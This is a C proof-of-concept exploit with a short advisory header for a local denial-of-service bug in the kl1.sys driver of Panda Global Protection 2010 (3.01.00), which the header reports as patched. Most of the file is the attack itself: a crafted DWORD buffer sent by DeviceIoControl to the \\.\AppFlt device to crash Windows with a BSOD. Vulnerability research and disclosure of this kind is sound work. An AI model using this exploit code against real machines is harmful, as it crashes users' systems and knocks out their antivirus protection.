#include #include #include #include #include /* Program : Panda Global Protection 2010 (3.01.00) Homepage : http://www.pandasecurity.com Discovery : 2010/04/09 Author Contacted : 2010/07/15 Status of vuln : Patched ! Found by : Heurs This Advisory : Heurs Contact : s.leberre@sysdream.com //----- Application description Antivirus Global Protection 2010 is the most complete product, with everything you need to protect your computer and information. It protects you from viruses, spyware, rootkits, hackers, online fraud, identity theft and all other Internet threats. The anti-spam engine will keep your inbox free from junk mail while the Parental Control feature will keep your family safe when using the Internet. You can also back up important files (documents, music, photos, etc.) to a CD/DVD or online (5GB free space available) and restore them in case of accidental loss or damage. And thanks to the most innovative and new detection technologies and improved Collective Intelligence, the solution is now much faster than previous versions. //----- Description of vulnerability kl1.sys driver don't check inputs integer of an IOCTL. An exception can be thrown if we modify one DWORD. With my test I can't do best exploitation than a BSOD. //----- Credits http://www.sysdream.com http://www.hackinparis.com/ http://ghostsinthestack.org s.leberre at sysdream dot com heurs at ghostsinthestack dot org //----- Greetings Mysterie */ int __cdecl main(int argc, char* argv[]) { HANDLE hDevice = (HANDLE) 0xffffffff; DWORD NombreByte; DWORD Crashing[] = { 0xaaaaaaaa, 0xbbbbbbbb, 0xcccccccc, 0xdddddddd, 0xeeeeeeee, 0x00000000, 0x001cfdea, 0x002dc6c0, 0x000000a8, 0x0044005c, 0x00760065, 0x00630069, 0x005c0065, 0x00610048, 0x00640072, 0x00690064, 0x006b0073, 0x006f0056, 0x0075006c, 0x0065006d, 0x005c0031, 0x00720050, 0x0067006f, 0x00610072, 0x0020006d, 0x00690046, 0x0065006c, 0x005c0073, 0x00610050, 0x0064006e, 0x00200061, 0x00650053, 0x00750063, 0x00690072, 0x00790074, 0x0050005c, 0x006e0061, 0x00610064, 0x00470020, 0x006f006c, 0x00610062, 0x0020006c, 0x00720050, 0x0074006f, 0x00630065, 0x00690074, 0x006e006f, 0x00320020, 0x00310030, 0x005c0030, 0x00650057, 0x00500062, 0x006f0072, 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0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161, 0x61616161 }; char out[sizeof(Crashing)]; printf("Local DoS - Panda Global Protection 2010 (3.01.00)\n\n"); hDevice = CreateFile("\\\\.\\AppFlt",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL); DeviceIoControl(hDevice,0x06660d4c,Crashing,sizeof(Crashing),out,sizeof(Crashing),&NombreByte,NULL); printf("Sploit Send.\nhDevice = %x\n", hDevice); CloseHandle(hDevice); getch(); return 0; }